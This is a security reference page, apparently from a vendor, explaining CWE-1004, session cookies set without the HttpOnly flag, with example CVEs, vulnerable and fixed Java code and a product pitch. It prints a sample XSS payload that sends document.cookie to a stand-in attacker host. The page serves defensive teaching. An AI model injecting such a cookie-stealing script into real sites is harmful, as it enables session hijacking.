CWE-1004 Variante Incompleto Medium likelihood

Sensitive Cookie Without 'HttpOnly' Flag

This vulnerability occurs when an application stores sensitive data in a cookie but fails to set the 'HttpOnly' flag, leaving the cookie accessible to client-side scripts.

Definición

What is CWE-1004?

This vulnerability occurs when an application stores sensitive data in a cookie but fails to set the 'HttpOnly' flag, leaving the cookie accessible to client-side scripts.
The 'HttpOnly' flag is a critical security directive sent within the `Set-Cookie` HTTP header. When present, it instructs compatible web browsers to block all client-side scripts (like JavaScript) from reading the cookie's contents. This creates a vital defensive layer, specifically designed to contain the damage from a Cross-Site Scripting (XSS) attack by preventing malicious scripts from stealing cookie data. Without this flag, any sensitive information stored in the cookie—such as session tokens or authentication details—becomes exposed. If an XSS flaw exists elsewhere in the application, an attacker can execute script to read the cookie and exfiltrate its data, potentially leading to session hijacking or account compromise. Setting the 'HttpOnly' flag is a fundamental and widely supported practice to protect user sessions even when other vulnerabilities are present.
Impacto en el mundo real

Real-world CVEs caused by CWE-1004

  • CVE-2022-24045

    Web application for a room automation system has client-side Javascript that sets a sensitive cookie without the HTTPOnly security attribute, allowing the cookie to be accessed.

  • CVE-2014-3852

    CMS written in Python does not include the HTTPOnly flag in a Set-Cookie header, allowing remote attackers to obtain potentially sensitive information via script access to this cookie.

  • CVE-2015-4138

    Appliance for managing encrypted communications does not use HttpOnly flag.

Cómo lo explotan los atacantes

Ruta del atacante paso a paso

  1. 1

    In this example, a cookie is used to store a session ID for a client's interaction with a website. The intention is that the cookie will be sent to the website with each request made by the client.

  2. 2

    The snippet of code below establishes a new cookie to hold the sessionID.

  3. 3

    The HttpOnly flag is not set for the cookie. An attacker who can perform XSS could insert malicious script such as:

  4. 4

    When the client loads and executes this script, it makes a request to the attacker-controlled web site. The attacker can then log the request and steal the cookie.

  5. 5

    To mitigate the risk, use the setHttpOnly(true) method.

Ejemplo de código vulnerable

Vulnerable Java

The snippet of code below establishes a new cookie to hold the sessionID.

Vulnerable Java 
String sessionID = generateSessionId();
  Cookie c = new Cookie("session_id", sessionID);
  response.addCookie(c);
Payload del atacante

The HttpOnly flag is not set for the cookie. An attacker who can perform XSS could insert malicious script such as:

Payload del atacante JavaScript 
document.write('<img src="http://attacker.example.com/collect-cookies?cookie=' + document.cookie . '">'
Ejemplo de código seguro

Secure Java

To mitigate the risk, use the setHttpOnly(true) method.

Seguro Java 
String sessionID = generateSessionId();
  Cookie c = new Cookie("session_id", sessionID);
  c.setHttpOnly(true);
  response.addCookie(c);
What changed: the unsafe sink is replaced (or the input is validated/escaped) so the same payload no longer triggers the weakness.
Lista de prevención

How to prevent CWE-1004

  • Implementation Leverage the HttpOnly flag when setting a sensitive cookie in a response.
Señales de detección

How to detect CWE-1004

Automated Static Analysis High

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Auto-corrección de Plexicus

Plexicus detecta automáticamente CWE-1004 y abre un PR de corrección en menos de 60 segundos.

Codex Remedium escanea cada commit, identifica esta debilidad concreta y entrega un pull request listo para revisión con el parche. Sin tickets. Sin traspasos.

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Preguntas frecuentes

Frequently asked questions

¿Qué es CWE-1004?

This vulnerability occurs when an application stores sensitive data in a cookie but fails to set the 'HttpOnly' flag, leaving the cookie accessible to client-side scripts.

¿Qué gravedad tiene CWE-1004?

MITRE califica la probabilidad de explotación como Media — la explotación es realista pero suele requerir condiciones específicas.

¿Qué lenguajes o plataformas se ven afectados por CWE-1004?

MITRE lists the following affected platforms: Web Based.

¿Cómo puedo prevenir CWE-1004?

Leverage the HttpOnly flag when setting a sensitive cookie in a response.

¿Cómo detecta y corrige Plexicus CWE-1004?

El motor SAST de Plexicus detecta la firma de flujo de datos para CWE-1004 en cada commit. Cuando hay coincidencia, nuestro agente Codex Remedium abre un PR de corrección con el código corregido, las pruebas y un resumen de una línea para el revisor.

¿Dónde puedo aprender más sobre CWE-1004?

MITRE publica la definición canónica en https://cwe.mitre.org/data/definitions/1004.html. También puedes consultar la documentación de OWASP y NIST para guías relacionadas.

Debilidades relacionadas

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Recursos

Further reading

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